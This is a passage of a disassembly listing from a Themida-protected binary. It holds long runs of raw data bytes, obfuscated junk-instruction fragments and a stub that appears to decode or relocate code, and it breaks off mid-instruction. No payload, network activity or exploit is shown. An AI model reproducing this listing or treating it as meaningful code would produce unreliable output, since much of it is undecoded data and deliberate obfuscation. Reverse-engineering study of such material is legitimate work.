3CBEA81h, 348B2078h, 4C48124h, 52000000h, 42474FFh dd 8124148Bh, 4C4h, 24048F00h, 241C895Ch, 687068h, 24148900h dd 59EAE954h, 0EC83FFFFh, 24048904h, 0FF5889E9h, 1CF755FFh dd 242C8B24h, 0E904C483h, 0FFFFA4DBh ; --------------------------------------------------------------------------- loc_55FD1C: ; CODE XREF: Themida_:0055BCDDj mov edi, 6D844C11h and edi, 27F935F3h sub edi, 42A76A90h sub edi, 6396739Eh or edx, edi pop edi push ebx mov ebx, 7FFA25FAh sub edx, ebx pop ebx push 53E1h mov [esp], ebp mov ebp, edx mov esi, ebp pop ebp pop edx and eax, esi pop esi or edx, eax jmp loc_5581FE ; --------------------------------------------------------------------------- loc_55FD57: ; CODE XREF: Themida_:0055C18Aj xchg edx, [esp] mov esp, [esp] push 1D38h jmp loc_55FFCB ; --------------------------------------------------------------------------- db 89h dd 730068E0h, 1C890000h, 0B1BD5524h, 816A2C0Ah, 5C6460C5h dd 0E9EDD111h, 0FFFFD099h, 83CB8953h, 48904ECh, 89D88924h dd 8C6FE9C6h, 8853FFFFh, 4EC81E3h, 0E9000000h, 0FFFFE3F8h dd 0DFF6D7F6h, 83BC780h, 0FCE95BFDh db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FDB3: ; CODE XREF: Themida_:00558864j pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp loc_55FDC1: ; CODE XREF: Themida_:00559DC9j push 7D19h jmp loc_55DCBF ; --------------------------------------------------------------------------- db 29h dd 0B3ACE9C8h, 0CFB1FFFFh, 5AF130h, 0E82859C8h, 0C8B572Ch dd 69C86824h, 14890000h, 815A5424h, 4ECh, 243C8900h, 4BFh dd 5FFA0100h, 3304C283h, 0F3E92414h, 89FFFFFAh, 0E9EA89FDh dd 0FFFFD523h, 4BFh, 5FADE900h, 0D831FFFFh, 6C6868h, 0BEE6E900h dd 8B66FFFFh, 0F1682404h, 8900006Dh, 0E389241Ch, 0FFF68FE9h dd 241C8BFFh, 8304C483h, 0EC8304C4h, 24048904h, 353410B0h dd 58C300h, 98B151E3h, 804DE180h, 4EE997E1h, 64FFFF7Ch dd 0E9028966h, 0FFFF4A66h, 8304C483h, 0C8702C1h, 0D3665C24h dd 0E99C242Ch, 0FFFF4A52h, 0F7885350h, 525BF888h, 0F788C688h dd 0BFE9585Ah db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FE8F: ; CODE XREF: Themida_:00557CBEj push ebp mov ebp, 5DDF7FF2h jmp loc_557B26 ; --------------------------------------------------------------------------- dw 8F64h dd 0DB50E902h, 27E9FFFFh, 81FFFF4Ah, 0A26F81C7h, 96DFE927h dd 0BA52FFFFh, 2, 875AD101h, 248B240Ch, 48B6624h, 5F545724h dd 4C781h, 89560000h, 4C681E6h, 83000000h, 348704EEh, 14895C24h dd 148B5424h, 0C54E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FEEA: ; CODE XREF: Themida_:0055C2D0j push edx mov edx, 65276C9Ch shr edx, 6 jmp loc_55A698 ; --------------------------------------------------------------------------- dd 0E9240C31h, 0FFFF5AAAh, 9D1C77FFh, 1CD35966h, 0BFE99C24h dd 0BBFFFF49h, 1BE356E0h, 348BF301h, 4C48124h, 29000000h dd 241C8BDEh, 4C481h, 0FE90000h, 68FFFF5Dh, 281D5696h dd 0FFF0DAE9h, 4C483FFh, 55E68956h, 11151CBDh, 0CBD5E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF4A: ; CODE XREF: Themida_:00557D25j push eax mov eax, 2 add edi, 75E7AF9h sub edi, eax sub edi, 75E7AF9h mov eax, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], cx jmp loc_5548CE ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0F7D1F700h, 0EEF181D1h, 0E91C1971h, 0FFFFAE53h dd 272468h, 241C8900h, 0DE88EB88h, 835B595Bh, 8BE904ECh dd 0BAFFFF91h, 33896E88h, 3C8BFA31h, 4C48324h, 0B95AD789h dd 9F72A8B5h, 0F75FF929h, 5FD9E9D1h, 489FFFFh, 0CDE95624h db 56h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FFCB: ; CODE XREF: Themida_:0055FD62j mov [esp], edi mov edi, 400h jmp loc_55E34F ; --------------------------------------------------------------------------- dword_55FFD8 dd 0E9240489h, 0FFFF8B5Dh, 6692C681h, 0C68179B9h, 7EAF6534h dd 0EE81C601h, 7EAF6534h, 6692B850h, 0C62979B9h, 779AE958h dd 4D5EFFFFh, 3284B850h, 0A20521DBh, 0C1682A60h, 0D0F702E8h dd 0C7FD6535h, 58C521EEh, 19D7ED81h, 0E5813774h, 4E1C1DACh dd 824ED81h, 0EF014C14h, 5D2434FFh, 0FFAD6CE9h, 0B60F66FFh db 0C8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi sub esp, 4 push esp jmp loc_55BAC8 ; --------------------------------------------------------------------------- db 5Ch dd 66D68h, 240C8900h, 47AA6851h, 3C890000h, 6A5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560076: ; CODE XREF: Themida_:0055C983j pop eax xor eax, 30D267DEh push dword ptr [esp] jmp loc_55E163 ; --------------------------------------------------------------------------- dd 5504C483h, 0CA3A43BDh, 0F8C58154h, 0C147E561h, 814507E5h dd 0BD1096C5h, 5DEB2916h, 28D1BF57h, 0FB0155C8h, 0D0C3815Fh dd 17B0B5Dh, 22B850C3h, 353AA876h, 145073D4h, 0A9475E0Dh dd 8980E956h, 0E189FFFFh, 745168h, 241C8900h, 0FF9B29E9h dd 37CB2DFFh, 442D1FC6h, 29184104h, 77E952D8h, 5DFFFF88h dd 5F307A89h, 0E9C39D61h, 0FFFF8180h ; --------------------------------------------------------------------------- loc_5600F4: ; CODE XREF: Themida_:00555151j push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_558862 ; --------------------------------------------------------------------------- db 0B4h dd 0AEEC80ADh, 48BE328h, 4C48324h, 0FF66CFE9h, 238BBAFFh dd 4EE971DDh db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560127: ; CODE XREF: Themida_:0055A6D3j mov [esp], edx jmp loc_5592FF ; --------------------------------------------------------------------------- loc_56012F: ; CODE XREF: Themida_:0055E8F0j dec ebp add ebp, 228E115Dh inc ebp dec ebp push ecx mov ecx, 42F572C1h sub ebp, 1F8D4913h sub ebp, ecx add ebp, 1F8D4913h pop ecx shr ebp, 4 push edx mov edx, 57501C7h sub ebp, edx pop edx jmp loc_5599E8 ; --------------------------------------------------------------------------- dw 575Ch dd 2BFh, 0E9FA0100h, 0FFFF8BDAh, 8BC3295Eh, 76E92404h dd 53FFFF9Dh, 0C381E389h, 4, 4C381h, 1C870000h, 0DF2C5C24h dd 0C8002404h, 0FFBDC9E9h, 0D830ACFFh, 4E5E68h, 241C8900h dd 0FF8DEFE9h, 48B66FFh, 4EC8124h, 89000000h, 76E9240Ch db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5601B7: ; CODE XREF: Themida_:00557CCBj add eax, 266656E8h sub eax, edx sub eax, 266656E8h xchg eax, edx pop eax xor edx, 0D9A4B072h sub [edi+24h], edx pop edx loc_5601CF: ; CODE XREF: Themida_:0055C145j sub esp, 4 mov [esp], esi jmp loc_55DC2A ; --------------------------------------------------------------------------- loc_5601DA: ; CODE XREF: Themida_:00560B25j mov [esp], ebx sub esp, 4 mov [esp], esi mov esi, 774E602Ch xor [esp+4], esi jmp loc_555525 ; --------------------------------------------------------------------------- dd 4669BA52h, 0E9577ED9h, 0FFFFAB92h, 4EF815Bh, 87000000h dd 895C243Ch, 0E9542404h, 0FFFFE7B5h, 592434FFh, 5204C483h dd 0C281E289h, 4, 4C281h, 14870000h, 0C1815C24h, 4, 2C181h dd 0C330000h, 9BEDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560242: ; CODE XREF: Themida_:0055C390j push edi mov edi, 47BC525Ch inc edi xor edi, 688B54B2h or edi, 72103851h jmp loc_557959 ; --------------------------------------------------------------------------- loc_56025A: ; CODE XREF: Themida_:0055DCC8j mov [esp], ebx mov ebx, esp jmp loc_5605FE ; --------------------------------------------------------------------------- dd 0B20204BFh, 76E7811Dh, 81236271h, 820D16CFh, 47E7D116h dd 4FDFC781h, 0C7817EE4h, 51D795F8h, 5AE9FA01h, 66FFFFB0h dd 83240C8Bh, 3C8904ECh, 540D6824h, 8F540000h, 4812404h dd 424h, 0D0E95F00h, 0C0FFFF8Ah, 46E904E5h, 0B9FFFF8Eh dd 2FC824DEh, 0FF8438E9h db 0FFh ; --------------------------------------------------------------------------- loc_5602BD: ; CODE XREF: Themida_:0055DE21j mov ecx, ebx jmp loc_558D1D ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 8704C683h, 0E95C2434h, 0FFFF63E8h, 535FFA29h dd 2F0201BBh, 0B0C38137h, 0E9DF0740h, 0FFFFBFE9h, 6D37C381h dd 0E3C10616h, 0E9D3F706h, 0FFFFEDDAh, 5251D82Ch, 0B6B4B450h dd 58E62838h, 0DAE2E952h, 48FFFFFh, 678EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560316: ; CODE XREF: Themida_:0055B204j add ebx, 4 push edx jmp loc_558D97 ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFF6275h ; --------------------------------------------------------------------------- loc_560328: ; CODE XREF: Themida_:00554A41j pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push ebp mov ebp, 63153D0Bh sub ebp, 465DD0F4h jmp loc_55B456 ; --------------------------------------------------------------------------- db 59h, 8Fh, 4 dd 24248B24h, 5F241489h, 8324148Bh, 0FDE904C4h, 0ACFFFFD0h dd 208B68h, 240C8900h, 0C82859B1h, 52240C8Bh, 0C281E289h dd 4, 4EA81h, 14870000h, 4895C24h, 55E08924h, 36257BDh dd 5C67E906h, 3C31FFFFh, 243C3324h, 2404205Ch, 4528E99Ch dd 0F581FFFFh, 0C32D04B6h, 0E95DE889h, 0FFFFB781h, 8B2434FFh dd 71E92404h, 81FFFF88h, 1C2h, 0E2814A00h, 2B867580h, 6004F281h dd 0D3012286h, 8124148Bh, 4C4h, 0EBE5600h, 810D9D79h, 9B1B55CEh dd 0A3C68172h, 1806084h, 24348BF3h, 0FF9D7AE9h, 2434FFFFh dd 0E389535Fh, 4C381h, 0C3810000h, 4, 5C241C87h, 0FF45A1E9h dd 24248BFFh, 0F66F1F6h, 6866CCB6h, 89667C44h, 0F66240Ch dd 0ADE9C8B6h, 5BFFFFE8h, 0FF638DE9h, 240433FFh, 0B247E95Ch dd 8966FFFFh, 87E92404h, 1FFFF44h, 0C7815AD7h, 4, 0FFE2CEE9h dd 24248BFFh, 9CC88566h, 0FF446DE9h, 241487FFh, 6E3815Ch dd 0E9539520h, 0FFFF6457h, 2414335Ch, 0FF6C3DE9h, 242C8BFFh dd 8104C483h, 4C5h, 4C58100h, 55000000h, 42474FFh, 51242C8Bh dd 5FE9E189h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56049B: ; CODE XREF: Themida_:005604F3j pop edi jmp loc_55E8FD ; --------------------------------------------------------------------------- loc_5604A1: ; CODE XREF: Themida_:00555F81j push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx jmp loc_55E3FE ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 4C681h, 0EE810000h, 4, 0E9243487h, 0FFFFA36Eh, 7150EE81h dd 15B555Bh, 0C6685EF2h, 8900002Eh, 2B9240Ch, 1000000h dd 148759CAh, 4005C24h, 0E3E99C24h db 43h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5604EB: ; CODE XREF: Themida_:00556D58j sub edi, 0EEB747CBh sub eax, edi jmp loc_56049B ; --------------------------------------------------------------------------- dd 4EA9E95Ah, 1C89FFFFh, 0FB324h, 33685BD8h, 8900003Fh dd 0DCB1240Ch, 0C980C1FEh, 52D1F644h, 0EAC0E2B2h, 0E4B55102h dd 0FFB90AE9h db 0FFh ; --------------------------------------------------------------------------- loc_560525: ; CODE XREF: Themida_:0055E5DDj not eax inc eax sub eax, offset dword_461244 add ebx, eax mov eax, [esp] add esp, 4 push ecx jmp loc_55D02C ; --------------------------------------------------------------------------- dw 74FFh dd 6E90424h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560547: ; CODE XREF: Themida_:00558305j add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_55B691 ; --------------------------------------------------------------------------- db 59h dd 6A05E801h, 0FF77CC21h, 835D2434h, 0B26804C4h, 8900005Eh dd 0F68241Ch, 8B5B8C55h, 0C483241Ch, 0FFEB8304h, 4BBAE381h dd 0FF5311BFh, 565B240Ch, 8188E952h, 2DADFFFFh, 4BC81087h dd 0C813E12Dh, 52D00520h, 0D8017AC2h, 0C252D02Dh, 13E1057Ah dd 0EC8320C8h, 243C8904h, 825EF1BFh, 9B67E971h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5605BA: ; CODE XREF: Themida_:00555D69j add esp, 4 push edx jmp loc_55E558 ; --------------------------------------------------------------------------- loc_5605C6: ; CODE XREF: Themida_:00556ACBj inc edx neg edx dec edx dec edx jmp loc_55521B ; --------------------------------------------------------------------------- dd 68241489h, 249C3586h, 6BF2815Ah, 81144459h, 0D86CEFF2h dd 5AD78930h, 0E95FFA01h, 0FFFF8B2Fh, 53241489h, 8851CF88h dd 0F98EE9FDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5605FE: ; CODE XREF: Themida_:0056025Fj push 58BEh mov [esp], ecx jmp loc_55F520 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 24048F04h, 6B8EE95Ch, 0C781FFFFh, 2, 31243C33h dd 3C33243Ch, 24248B24h, 240C8B66h, 6F9868h, 24048900h dd 6A31E954h, 34FFFFFFh, 0CCD9E924h, 0EE81FFFFh, 5CBE64F8h dd 815EF709h, 5422BC7h, 5FF889A8h, 48BC601h, 4C48124h dd 68000000h, 0E0h, 0FF243489h, 0E9042474h, 0FFFFD103h dd 79A1BA52h, 0D12918C7h, 0F3C2815Ah, 1016F22h, 0F3EA81CAh dd 59016F22h, 0E9241433h, 0FFFFB819h, 25F58058h, 2874B551h dd 0A232E9E8h, 3489FFFFh, 0E4C4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5606AA: ; CODE XREF: Themida_:0055B564j mov esp, [esp] or ebx, ebx jnz loc_55D67C push edx push 3867h mov [esp], edi jmp loc_554954 ; --------------------------------------------------------------------------- db 0BDh dd 1B4341A6h, 4FE9E829h, 83FFFFA8h, 1C8904ECh, 63685724h dd 5F37823Ch, 0FF6CC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5606E1: ; CODE XREF: Themida_:0055A3B2j mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55E5C7 ; --------------------------------------------------------------------------- dd 0FE51B450h, 3BF480CCh, 0C077CC80h, 0EC8006E4h, 0E9E1008Ch dd 0FFFFF1F9h ; --------------------------------------------------------------------------- loc_560714: ; CODE XREF: Themida_:0055C68Bj add ebp, eax jmp loc_55D958 ; --------------------------------------------------------------------------- db 68h dd 37F716CCh, 0BB53505Fh, 2E7B60B7h, 242C8153h, 47FF120Ch dd 120C0558h, 1C8B47FFh, 4C48124h, 0E9000000h, 0FFFFE5D8h dd 0E951E801h, 0FFFFE7DCh, 0E9240C8Bh, 0FFFF734Eh, 0F010A8B8h dd 54D8255Ch, 2EE956FBh, 1FFFF64h, 148759CAh, 0C5055C24h db 78h, 0A9h, 0Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 3FFEh jmp loc_55A4CE ; --------------------------------------------------------------------------- dd 6B25E95Ch, 0C681FFFFh, 155B1C84h, 0C15EF189h, 0F18103E9h dd 1AAD5A2Bh, 0FFFEDBE9h, 0E9D801FFh, 0FFFF433Ah, 0C002EFC0h dd 0C78002E7h, 5BFC30AEh, 0FFC530E9h, 0E9E2B1FFh, 0FFFF789Dh ; --------------------------------------------------------------------------- loc_5607B8: ; CODE XREF: Themida_:0055BA6Cj add ecx, edx pop edx shl ecx, 4 jmp loc_558F5F ; --------------------------------------------------------------------------- db 59h dd 204EB951h, 0C981604Dh, 3C8C50FDh, 0FFC4EBE9h, 0E9EBD1FFh dd 0FFFFCEBEh, 8106E1C1h, 0BB3715C1h, 0CCC18154h, 0E914BD38h dd 0FFFFEBD5h, 34FF595Ah, 24048B24h, 0FFED9EE9h, 0E9DE29FFh dd 0FFFFFCC0h ; --------------------------------------------------------------------------- loc_560804: ; CODE XREF: Themida_:00555657j pop ecx jmp loc_556327 ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0C1810000h, 4, 5C240C87h, 8704C083h, 248B2404h dd 2434FF24h, 4EC8158h, 89000000h, 0DF682414h, 89000051h dd 55522424h, 852DB968h, 0C5815D3Ah, 53EB24FCh, 0AD4FC581h dd 0EA89718Fh, 0FFA48DE9h, 240C87FFh, 0E924248Bh, 0FFFFB3A8h dd 0DDC6E95Ah, 0C381FFFFh, 4, 4C381h, 1C330000h, 241C3124h dd 5C241C33h, 49685753h, 5F64590Eh, 444FC781h, 0EF817DCDh dd 0D3710FB7h, 0FFA170E9h, 2100BDFFh, 6EE919CFh, 8BFFFFF4h dd 0C483241Ch, 91B4E904h, 0BE56FFFFh, 754A6A60h, 7F5FC681h dd 0F681157Dh, 657F3D1Eh, 0E79FEE81h, 0F231305Ah, 0FF62B2E9h dd 2C875EFFh, 24248B24h, 24048B66h, 7E3468h, 24348900h dd 2434FF54h, 0FF8FDCE9h, 0F5B151FFh, 0CAE95066h, 68FFFFCEh dd 34F0h, 68240C89h, 713Dh, 24048F54h, 4240483h, 0FFA713E9h dd 5DE801FFh, 0FF6CEFE9h, 0B850FFh, 252D365Eh, 203C5446h dd 0FFBAD4E9h, 6BE94AFFh, 0B8FFFFB9h, 42A82855h, 5B15C681h dd 0C6290859h, 5B15EE81h, 48B0859h, 4C48124h, 55000000h dd 88768h, 24048900h, 0FFADADE9h, 79B6BBFFh, 0E3C120EFh dd 0DF62E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56095E: ; CODE XREF: Themida_:00559408j add esp, 4 not eax xchg eax, edi push 7AF1h mov [esp], eax push 1C7Fh mov [esp], edi mov eax, [esp] jmp loc_559CD2 ; --------------------------------------------------------------------------- db 81h dd 0F38EEAF6h, 5EF209E7h, 1BE9DAF7h, 66FFFF84h, 7FC0E9ADh dd 0F801FFFFh, 56243C8Bh, 0C681E689h, 4, 4C681h, 34870000h dd 992D5C24h, 1525474h, 749905D8h, 0EC835254h, 242C8904h dd 782686BDh, 2BB5353h, 0E9560856h, 0FFFFA606h ; --------------------------------------------------------------------------- loc_5609D0: ; CODE XREF: Themida_:00557ED1j mov edx, [esp] add esp, 4 shr eax, 0Eh xor eax, ecx jmp loc_555741 ; --------------------------------------------------------------------------- dd 33243431h, 34312434h, 3EE0E924h, 0CDFEFFFFh, 8E8ED80h dd 0B45059EAh, 0E9E2284Fh, 0FFFFC498h ; --------------------------------------------------------------------------- loc_560A00: ; CODE XREF: Themida_:0055F9C6j mov [esp], eax mov eax, 61101E0Bh jmp loc_555D30 ; --------------------------------------------------------------------------- loc_560A0D: ; CODE XREF: Themida_:0055FADAj add ebx, 3C0B6D99h mov ecx, ebx pop ebx xor ecx, edx pop edx jmp loc_55870E ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48124h, 0E9000000h, 0FFFF6365h, 19E95451h, 88FFFFFDh dd 0E5C05AF5h, 49C58002h, 0E942CD80h, 0FFFFDFCCh, 0C581E589h dd 4, 4C581h, 2C870000h, 3E8FE924h, 3C87FFFFh, 24248B24h dd 51C8AF0Fh, 3E64E99Ch, 5452FFFFh, 54E9505Ah, 0F7FFFF8Fh dd 2C8B241Ch, 4C48124h, 81000000h, 5ADC32C5h, 5DEB8933h dd 0FF3E41E9h, 24048BFFh, 0FF54A5E9h, 0E78957FFh, 4C781h dd 0B9510000h, 3B7C4B3Ah, 0FF800EE9h, 0C68159FFh, 1435659Fh dd 0EE81CE01h, 1435659Fh, 24343359h, 0FFB889E9h, 4875EFFh dd 0EC835C24h, 24148904h, 0AE88FC68h, 95DDE977h, 3433FFFFh dd 24343124h, 0E9243433h, 0FFFFEF8Fh, 83240C8Bh, 0ED8304C4h dd 2BF58101h, 513CC1F5h, 384AE2B9h, 3CC18150h, 41501340h dd 0FF662AE9h, 248B66FFh, 3DC0E924h, 0E95DFFFFh, 0FFFF3DBAh ; --------------------------------------------------------------------------- loc_560B14: ; CODE XREF: Themida_:0055D6E7j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] loc_560B20: ; CODE XREF: Themida_:0055D256j push 3CEAh jmp loc_5601DA ; --------------------------------------------------------------------------- dw 9FB9h dd 0E93F2C46h, 0FFFF41A5h, 24043166h, 3D90E99Ch, 0C481FFFFh dd 4, 4C281h, 0B8500000h, 4, 0E958C229h, 0FFFF57E3h, 916D212Dh dd 5F82914h, 14916D21h, 0C0835F5Fh, 24048702h, 0F624248Bh dd 0B60F66F9h, 8B78E9CCh, 0B068FFFFh, 89000024h, 95E92414h dd 29FFFF98h, 72E95AD1h, 0C0FFFF75h, 0CD8003E5h, 0F6DDF656h dd 76ED80D5h, 0C8BEB28h, 4C48124h, 51000000h, 0EB00BDB5h dd 0C0B60F59h, 87048F66h, 0FF3D15E9h, 0F6DEF6FFh, 48C680DEh dd 0FF6086E9h, 0C8B66FFh, 2EF06824h, 0C890000h, 0B01AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560BD6: ; CODE XREF: Themida_:0055858Aj and eax, esi pop esi or edx, eax shl edx, 1 push dword ptr [edi+24h] push 0B2Ah mov [esp], ebx jmp loc_55A667 ; --------------------------------------------------------------------------- db 56h, 0BEh, 23h dd 68147568h, 0 dd 0E9243429h, 0FFFF92CFh, 811C77FFh, 4528242Ch, 48B1258h dd 0E1895124h, 4C181h, 0C1830000h, 0B3FFE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560C1E: ; CODE XREF: Themida_:0055781Bj push dword ptr [esp] pop ebp add esp, 4 jmp loc_55834F ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFFA663h ; --------------------------------------------------------------------------- loc_560C38: ; CODE XREF: Themida_:0055C70Fj mov [esp], esi mov esi, 11C78AFh jmp loc_557233 ; --------------------------------------------------------------------------- loc_560C45: ; CODE XREF: Themida_:00554F60j xor esi, [esp] xor [esp], esi jmp loc_555909 ; --------------------------------------------------------------------------- dd 68555A58h, 2, 81242C8Bh, 4C4h, 0E7EE8100h, 14AB50Bh dd 0E7C681EEh, 5D4AB50Bh, 5C243487h, 24042166h, 3C50E99Ch dd 0C820FFFFh, 5A545259h, 4C281h, 0EC830000h, 24348904h dd 63C8B850h, 0CCBE7174h, 31717463h, 16E958C6h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560CA3: ; CODE XREF: Themida_:0055F539j pop esp add ebx, 4 sub esp, 4 mov [esp], ebx jmp loc_55BC9D ; --------------------------------------------------------------------------- db 58h, 0E9h, 6Fh dd 66FFFF85h, 66787268h, 0B3241C89h, 66D8008Bh, 5251535Bh dd 0E680CEB6h, 4F680D1h, 505AF588h, 0C788E888h, 7EE95958h dd 89FFFF69h, 242C8BEFh, 8104C483h, 8E6C9BEFh, 5FFA0120h dd 4EC81h, 0C890000h, 87FCE924h, 8B66FFFFh, 6851240Ch dd 5E21h, 24048F54h, 4B951h, 0BFE90000h, 99FFFF4Ch, 0AC0054C9h dd 0D7F874C7h, 414E9187h, 4005BAAh, 0F67FFE03h, 234Ch dd 177DE700h, 2000002h, 1000000h, 5000000h, 0AC000000h dd 0F874C7h, 4 dup(0) dd 0FD000000h, 0B8005757h, 1005739h, 68005664h, 1300566Ch dd 0B0005761h, 83005640h, 0D000574Bh, 7D00563Fh, 2A0056ACh dd 7B005768h, 0FC00564Dh, 920056F2h, 6E0056B7h, 9C00575Dh dd 31005690h, 0F50056C5h, 0D0056FDh, 540056CBh, 34005633h dd 0AC005725h, 13005689h, 22005646h, 0D50056CDh, 0F90056EAh dd 0B2005656h, 32005705h, 77005655h, 260056A2h, 0D500562Bh dd 0E1005723h, 0C1005623h, 56005729h, 2C00564Ah, 24005697h dd 0E7005679h, 6500571Eh, 0BE0056BFh, 3F0056ECh, 44005619h dd 0B70056AAh, 0BE0056AFh, 0E6005644h, 1D0056A2h, 0DB00563Eh dd 14005614h, 0E4005764h, 0C20056A4h, 2400567Fh, 0E90056C5h dd 0BA005632h, 9700571Bh, 20005683h, 0EC00573Bh, 0E0056B1h dd 44005701h, 25005712h, 0FF0056A8h, 5800567Fh, 0E2005615h dd 5A00566Bh, 700056AAh, 7800573Eh, 0BE005744h, 3000566Dh dd 4C00565Ch, 94005641h, 0FD005766h, 0CC00573Ch, 100056D2h dd 7A005725h, 0E600574Eh, 0ED005706h, 8F005629h, 0AE005667h dd 0F600573Fh, 3F005649h, 6F0056E6h, 3E005644h, 2B005757h dd 6F0056CDh, 91005646h, 20005760h, 6C005738h, 33005647h dd 5E005667h, 7900561Eh, 9C0056B8h, 0B005740h, 76005682h dd 0F200572Dh, 8E005611h, 0C80056CDh, 0E3005620h, 200565Bh dd 9F0056E2h, 0F200572Dh, 0AE005759h, 0C30056D9h, 0D000574Ah dd 0C4005704h, 9D0056F9h, 0E0005725h, 72005678h, 2200573Bh dd 0EF005688h, 0BD005765h, 0E2005743h, 13005631h, 0E3005622h dd 770056BBh, 9800566Bh, 210056E2h, 930056FFh, 65005672h dd 97005744h, 930056D7h, 0A9005735h, 630056D6h, 830056E8h dd 7400566Eh, 0E600575Ah, 0A8005694h, 0AD0056C0h, 2A0056B4h dd 17005723h, 0F1005751h, 60005704h, 630056BEh, 12005667h dd 0CF005733h, 57005710h, 0BB00562Dh, 0E600568Fh, 510056CDh dd 0D20056DBh, 0E400570Ch, 20005671h, 8B005706h, 0DD005731h dd 26005731h, 0EC0056A3h, 20005711h, 7300573Fh, 0B2005707h dd 0D0005611h, 0DC005700h, 0ED005701h, 5A0056A3h, 6D005631h dd 9D00570Dh, 97005756h, 130056E5h, 0D70056C7h, 47005711h dd 82005694h, 71005715h, 0D1005622h, 0DE0056FBh, 6A00570Bh dd 0DD005656h, 690056D2h, 19005732h, 1D00563Bh, 0C5005713h dd 1A0056ACh, 0C000569Bh db 3Fh, 56h, 0 ; --------------------------------------------------------------------------- loc_560FFB: ; CODE XREF: Themida_:005A3CE5j ; Themida_:005AD445j pusha pushf cld call $+5 pop edi sub edi, 7E14857h mov eax, edi add edi, 7E1456Fh cmp eax, [edi+2Ch] jnz short loc_561019 jmp short loc_56102C ; --------------------------------------------------------------------------- loc_561019: ; CODE XREF: Themida_:00561015j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_561028 ; --------------------------------------------------------------------------- loc_561023: ; CODE XREF: Themida_:0056102Aj add [edi+ecx*4+40h], eax dec ecx loc_561028: ; CODE XREF: Themida_:00561021j or ecx, ecx jnz short loc_561023 loc_56102C: ; CODE XREF: Themida_:00561017j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_561039: ; CODE XREF: Themida_:00561040j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_561039 loc_561042: ; CODE XREF: Themida_:loc_5628D8j ; Themida_:0056353Fj ... lodsb add al, 3Fh sub al, bl sub esp, 4 mov [esp], ebx jmp loc_56218F ; --------------------------------------------------------------------------- db 5Ch, 89h, 1Ch dd 0BB24h, 0C3810000h, 0F510BACh, 191EEB81h, 0C301309Ch dd 191EC381h, 0EB81309Ch, 0F510BACh, 0E9038F57h, 145F9h dd 38E9F801h, 2C000050h, 241C8B6Ah, 4C481h, 3CE90000h dd 1000063h, 0C68359CEh, 24343304h, 33243431h, 248B2434h dd 724E924h, 0E9540000h, 10CE0h ; --------------------------------------------------------------------------- loc_5610B4: ; CODE XREF: Themida_:0056CC27j pop edx sub esp, 4 mov [esp], esi mov esi, 4 sub ebp, 2A420817h sub ebp, 3CF20A7Ch add ebp, esi jmp loc_570080 ; --------------------------------------------------------------------------- loc_5610D3: ; CODE XREF: Themida_:00571107j sub ebp, 6A001BAAh and edi, ebp jmp loc_56A7FC ; --------------------------------------------------------------------------- dd 4401EA81h, 0EA810D94h, 28760730h, 0C281DA29h, 28760730h dd 14C28E9h, 26E95300h db 34h, 1, 0 ; --------------------------------------------------------------------------- loc_5610FF: ; CODE XREF: Themida_:00574852j mov esp, [esp] mov [esp], ebp push edi jmp loc_56A673 ; --------------------------------------------------------------------------- db 9 dd 0CF8159CFh, 73F867B0h, 5F64C781h, 0F78170C8h, 42E37266h dd 123DB850h, 9EE93419h db 0A4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56112B: ; CODE XREF: Themida_:0056C52Cj push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] or eax, eax jz loc_5676CC push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_56490D ; --------------------------------------------------------------------------- loc_56114E: ; CODE XREF: Themida_:00568D21j not dword ptr [esp] pop edx xor edx, 832F0A9Dh and esi, edx pop edx jmp loc_56B39B ; --------------------------------------------------------------------------- loc_561160: ; CODE XREF: Themida_:00573A9Dj or eax, 5AD61730h or eax, 3937FD0h sub eax, 7DB81878h dec eax shl 